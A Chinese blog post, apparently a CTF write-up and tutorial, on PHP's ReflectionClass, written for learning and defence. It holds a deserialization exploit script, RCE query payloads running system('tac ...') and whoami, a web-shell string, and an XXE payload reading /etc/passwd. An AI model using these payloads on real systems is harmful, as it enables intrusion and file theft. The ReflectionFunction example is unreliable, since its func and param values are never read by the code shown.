PHP特性之反射类ReflectionClass机制

PHP特性之反射类ReflectionClass机制

目录

引例

最近在刷polarD&N靶场的时候,做到了一道关于ReflectionClass机制

原题是这样的

php 复制代码
<?php

class FlagReader {
    private $logfile = "/tmp/log.txt";
    protected $content = "<?php system(\$_GET['cmd']); ?>";

    public function __toString() {

        if (file_exists('/flag')) {
            return file_get_contents('/flag');
        } else {
            return "Flag file not found!";
        }
    }
}

class DataValidator {
    public static function check($input) {
        $filtered = preg_replace('/[^\w]/', '', $input);
        return strlen($filtered) > 10 ? true : false;
    }

    public function __invoke($data) {
        return self::check($data);
    }
}

class FakeDanger {
    private $buffer;
    
    public function __construct($data) {
        $this->buffer = base64_encode($data);
    }

    public function __wakeup() {
        if (rand(0, 100) > 50) {
            $this->buffer = str_rot13($this->buffer);
        }
    }
}

class VulnerableClass {
    public $logger; 
    private $debugMode = false;

    public function __destruct() {
        if ($this->debugMode) {
            echo $this->logger;
        } else {
            $this->cleanup();
        }
    }

    private function cleanup() {
        if ($this->logger instanceof DataValidator) {
            $this->logger = null;
        }
    }
}


function sanitize_input($data) {
    $data = trim($data);
    return htmlspecialchars($data, ENT_QUOTES);
}

if(isset($_GET['data'])) {
    $raw = base64_decode($_GET['data']);
    if (preg_match('/^[a-zA-Z0-9\/+]+={0,2}$/', $_GET['data'])) {
        unserialize($raw); 
    }
} else {
    highlight_file(__FILE__);
}
?>

乍一看有这么多类,我们依旧寻找题目的突破点

关键类

FlagReader类

php 复制代码
class FlagReader {
    private $logfile = "/tmp/log.txt";
    protected $content = "<?php system(\$_GET['cmd']); ?>";

    public function __toString() {

        if (file_exists('/flag')) {
            return file_get_contents('/flag');
        } else {
            return "Flag file not found!";
        }
    }
}

VulnerableClass类

php 复制代码
class VulnerableClass {
    public $logger; 
    private $debugMode = false;

    public function __destruct() {
        if ($this->debugMode) {
            echo $this->logger;
        } else {
            $this->cleanup();
        }
    }

    private function cleanup() {
        if ($this->logger instanceof DataValidator) {
            $this->logger = null;
        }
    }
}

能直接获取flag的只有FlagReader类的toString()方法

__toString()是 PHP 的魔术方法,当对象被当作字符串使用时(比如echo $obj)会自动调用。所以我们的核心目标是:FlagReader实例被当作字符串输出

再看VulnerableClass__destruct()方法(对象销毁时自动调用):

这里有两个关键条件:

  1. $this->debugMode必须为true,才会执行echo $this->logger
  2. $this->logger必须是FlagReader实例,这样echo时才会触发其__toString()

所以我们需要构造一个VulnerableClass对象,满足:

  • debugMode = true
  • logger = FlagReader实例

为什么需要反射机制?

VulnerableClass中的debugMode私有属性

php 复制代码
class VulnerableClass {
    public $logger;
    private $debugMode = false; // private属性,外部无法直接修改
}

私有属性(private)的访问权限被严格限制:

  • 不能通过$vuln->debugMode = true直接修改
  • 即使在类外部重新定义类,也无法绕过访问限制

这时候就需要反射机制(Reflection) 来突破限制:

php 复制代码
// 1. 获取VulnerableClass的反射类
$ref = new ReflectionClass($vuln);

// 2. 获取debugMode属性的反射对象
$debugMode = $ref->getProperty('debugMode');

// 3. 强制设置该属性可访问(突破private限制)
$debugMode->setAccessible(true);

// 4. 修改属性值为true
$debugMode->setValue($vuln, true);

强行将私有属性debugModefalse改为true,这是整个 EXP 的核心突破点。

php 复制代码
<?php
class FlagReader{
   private $logfile = "/tmp/log.txt";
   protected $content = "<?php system(\$_GET['cmd']); ?>";
}
class VulnerableClass {
   public $logger;
   private $debugMode = false;
}
$flag=new FlagReader();
$vuln=new VulnerableClass();

//1.获取反射类
$ref=new ReflectionClass($vuln);
//2.获取debugMode属性的反射对象
$debugMode=$ref->getProperty('debugMode');
//3.强制设置该属性可访问(突破private限制)
$debugMode->setAccessible(true);
//4.修改属性值为true
$debugMode->setValue($vuln,true);

$vuln->logger=$flag;

echo base64_encode(serialize($vuln));

详细阐述

ReflectionClass反射类在PHP5新加入,继承自Reflector,它可以与已定义的类建立映射关系,通过反射类可以对类操作

php 复制代码
ReflectionClass implements Reflector {
	/* 常量 */
	const integer IS_IMPLICIT_ABSTRACT = 16 ;
	const integer IS_EXPLICIT_ABSTRACT = 32 ;
	const integer IS_FINAL = 64 ;
	/* 属性 */
	public $name ;
	/* 方法 */
	public __construct ( mixed $argument )
	public static export ( mixed $argument [, bool $return = false ] ) : string
	public getConstant ( string $name ) : mixed
	public getConstants ( ) : array
	public getConstructor ( ) : ReflectionMethod
	public getDefaultProperties ( ) : array
	public getDocComment ( ) : string
	public getEndLine ( ) : int
	public getExtension ( ) : ReflectionExtension
	public getExtensionName ( ) : string
	public getFileName ( ) : string
	public getInterfaceNames ( ) : array
	public getInterfaces ( ) : array
	public getMethod ( string $name ) : ReflectionMethod
	public getMethods ([ int $filter ] ) : array
	public getModifiers ( ) : int
	public getName ( ) : string
	public getNamespaceName ( ) : string
	public getParentClass ( ) : ReflectionClass
	public getProperties ([ int $filter ] ) : array
	public getProperty ( string $name ) : ReflectionProperty
	public getReflectionConstant ( string $name ) : ReflectionClassConstant|false
	public getReflectionConstants ( ) : array
	public getShortName ( ) : string
	public getStartLine ( ) : int
	public getStaticProperties ( ) : array
	public getStaticPropertyValue ( string $name [, mixed &$def_value ] ) : mixed
	public getTraitAliases ( ) : array
	public getTraitNames ( ) : array
	public getTraits ( ) : array
	public hasConstant ( string $name ) : bool
	public hasMethod ( string $name ) : bool
	public hasProperty ( string $name ) : bool
	public implementsInterface ( string $interface ) : bool
	public inNamespace ( ) : bool
	public isAbstract ( ) : bool
	public isAnonymous ( ) : bool
	public isCloneable ( ) : bool
	public isFinal ( ) : bool
	public isInstance ( object $object ) : bool
	public isInstantiable ( ) : bool
	public isInterface ( ) : bool
	public isInternal ( ) : bool
	public isIterable ( ) : bool
	public isIterateable ( ) : bool
	public isSubclassOf ( string $class ) : bool
	public isTrait ( ) : bool
	public isUserDefined ( ) : bool
	public newInstance ( mixed $args [, mixed $... ] ) : object
	public newInstanceArgs ([ array $args ] ) : object
	public newInstanceWithoutConstructor ( ) : object
	public setStaticPropertyValue ( string $name , string $value ) : void
	public __toString ( ) : string
}

反射机制的核心作用

本质上是"程序自我检查"的能力,通过ReflectionClass可以:

  • 分析类的结构(属性、方法、常量、接口、父类等)
  • 检查类的修饰符(public、private、protected、abstract、final 等)
  • 动态调用类的方法或访问属性
  • 处理注解信息
  • 实现依赖注入、ORM 框架、自动文档生成等高级功能

ReflectionClass 的基本使用流程

1.实例化 ReflectionClass:传入类名、对象实例或字符串类名

这里有三种实例化的方式

php 复制代码
$reflection = new ReflectionClass('MyClass');
$reflection = new ReflectionClass(new MyClass());
$reflection = new ReflectionClass(MyClass::class);

2.获取类的基本信息:

php 复制代码
echo $reflection->getName(); // 获取类名
echo $reflection->getNamespaceName(); // 获取命名空间
var_dump($reflection->isAbstract()); // 是否为抽象类
var_dump($reflection->isFinal()); // 是否为final类
var_dump($reflection->isInterface()); // 是否为接口

3.获取类的结构信息

  • 属性:getProperties() 返回 ReflectionProperty 数组
  • 方法:getMethods() 返回 ReflectionMethod 数组
  • 常量:getConstants() 返回常量键值对数组
  • 父类:getParentClass() 返回父类的 ReflectionClass 实例
  • 接口:getInterfaces() 返回实现的接口数组

常用方法与应用场景

1.探查类的属性

php 复制代码
$properties = $reflection->getProperties();
foreach ($properties as $property) {
    echo "属性名: " . $property->getName() . "\n";
    echo "修饰符: " . implode(', ', Reflection::getModifierNames($property->getModifiers())) . "\n";
    echo "是否为静态: " . ($property->isStatic() ? '是' : '否') . "\n";
}

2.动态调用方法

即使是私有方法也可以通过反射调用(需谨慎使用,可能破坏封装性):

php 复制代码
$method = $reflection->getMethod('privateMethod');
$method->setAccessible(true); // 突破访问限制
$instance = $reflection->newInstance(); // 创建实例
$result = $method->invoke($instance, $param1, $param2); // 调用方法

3.处理构造函数与依赖注入

php 复制代码
// 获取构造函数
$constructor = $reflection->getConstructor();
if ($constructor) {
    // 获取构造函数参数
    $parameters = $constructor->getParameters();
    $dependencies = [];
    foreach ($parameters as $param) {
        // 解析参数类型提示,实现自动依赖注入
        $paramType = $param->getType();
        if ($paramType) {
            $dependencies[] = new $paramType->getName();
        }
    }
    // 使用解析的依赖创建实例
    $instance = $reflection->newInstanceArgs($dependencies);
}

4.解析类注解

结合文档注释,可以实现简单的注解功能:

php 复制代码
$docComment = $reflection->getDocComment();
// 解析类似 @Entity(table="users") 的注解
preg_match('/@Entity\(table="(.*?)"\)/', $docComment, $matches);
$tableName = $matches[1] ?? 'default_table';

反射机制进一步的利用

如果被恶意利用,可能成为RCE的攻击向量。主要源于反射机制对类方法、属性的动态访问能力,尤其是能够控制反射操作的参数时。

导致RCE核心原理:

  1. 类名 / 方法名 :通过ReflectionClass动态指定类和方法,若类名 / 方法名可控,可能调用危险函数(如execsystem等)。
  2. 方法参数:即使类和方法固定,若传入的参数可控,可能注入恶意指令(如命令注入)。
  3. 访问控制绕过 :反射的setAccessible(true)可突破私有方法限制,若被攻击利用,可能触发类内部的危险逻辑。

这里举一个CTFshowWeb109的例子

php 复制代码
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }
}
?>

new $v1 创建了一个名为v1的实例,调用v2方法。echo 一个对象 触犯反序列化的__toString()魔术方法,也就是本题的利用点

魔术方法 __toString() 在对象被当作字符串处理时自动调用。很多 PHP 内置类(如 Exception、CachingIterator 和 ReflectionClass)都实现了这个方法。

php 复制代码
?v1=ReflectionClass&v2=system('tac fl36dg.txt')
//同时也可以用别的内置类

上面是直接利用的例子

接下来我们看一下特殊的攻击场景

1.可控类名+方法名的反射调用

若代码中通过反射动态调用类方法,且类名和方法名由用户输入控制,攻击者可构造恶意类名和方法名触发命令执行:

php 复制代码
$className = $_GET['class'];  // 攻击者可控
$methodName = $_GET['method']; // 攻击者可控

try {
    $reflection = new ReflectionClass($className);
    $method = $reflection->getMethod($methodName);
    $method->invoke(null); // 静态方法调用
} catch (Exception $e) {
    // 异常处理
}

攻击者可构造 URL 参数:

?class=ReflectionFunction&method=invoke

(这边解释一下啊,ReflectionFunction是PHP内置的反射类,用于分析函数信息。调用invoke()方法会执行被反射的函数,从而触发恶意代码)

配合参数注入,甚至可调用exec等函数:

?class=ReflectionFunction&method=invoke&func=exec&param=whoami

2.利用反射调用危险内置类 / 方法

PHP 的部分内置类(如DirectoryIteratorSimpleXMLElement)或扩展类,若通过反射动态调用其方法并传入恶意参数,可能导致 RCE

php 复制代码
$className = 'SimpleXMLElement';
$methodName = '__construct';
$userInput = $_GET['xml']; // 攻击者可控

$reflection = new ReflectionClass($className);
$method = $reflection->getMethod($methodName);
// 若$userInput包含恶意XML(如XXE攻击),可能导致文件读取或RCE
$method->invokeArgs($reflection->newInstanceWithoutConstructor(), [$userInput, LIBXML_NOENT]);

可构造外部实体声明的XML,读取服务器本地文件:

xml 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

将上述内容作为 xml 参数传入(即 ?xml=上述XML内容),PHP 解析后会将 /etc/passwd 文件内容替换到 &xxe; 位置,导致敏感文件被读取并可能通过后续逻辑泄露。

3.绕过访问控制执行私有危险方法

若类中存在私有方法包含危险操作(如执行系统命令),攻击者可通过反射的setAccessible(true)突破限制并调用:

php 复制代码
class DangerousClass {
    private function execCommand($cmd) {
        return shell_exec($cmd); // 危险操作
    }
}

// 攻击者可控参数
$className = 'DangerousClass';
$methodName = 'execCommand';
$cmd = $_GET['cmd']; // 攻击者注入命令

$reflection = new ReflectionClass($className);
$method = $reflection->getMethod($methodName);
$method->setAccessible(true); // 绕过私有访问限制
$result = $method->invoke($reflection->newInstance(), $cmd); // 执行恶意命令

通过?cmd=whoami即可触发命令执行

防御措施

  1. 严格过滤输入:对反射操作中使用的类名、方法名、参数进行白名单校验,禁止用户输入直接作为反射参数。

    php 复制代码
    // 安全示例:白名单限制允许的类和方法
    $allowedClasses = ['MySafeClass', 'Utils'];
    $allowedMethods = ['getData', 'format'];
    
    if (!in_array($className, $allowedClasses) || !in_array($methodName, $allowedMethods)) {
        die('Invalid class or method');
    }
  2. 避免动态调用危险函数 :禁止通过反射调用execsystemshell_exec等命令执行函数,以及evalassert等代码执行函数。

  3. 谨慎使用setAccessible :除非必要,否则不使用setAccessible(true)绕过访问控制,尤其避免对包含敏感操作的私有方法使用。

  4. 限制反射范围:在框架或库中,反射应仅用于已知的、可信的类和方法,避免对用户可控的未知类进行反射操作。

  5. 开启 PHP 安全配置 :禁用危险函数(disable_functions)、限制 XML 外部实体(libxml_disable_entity_loader(true))等,降低攻击成功概率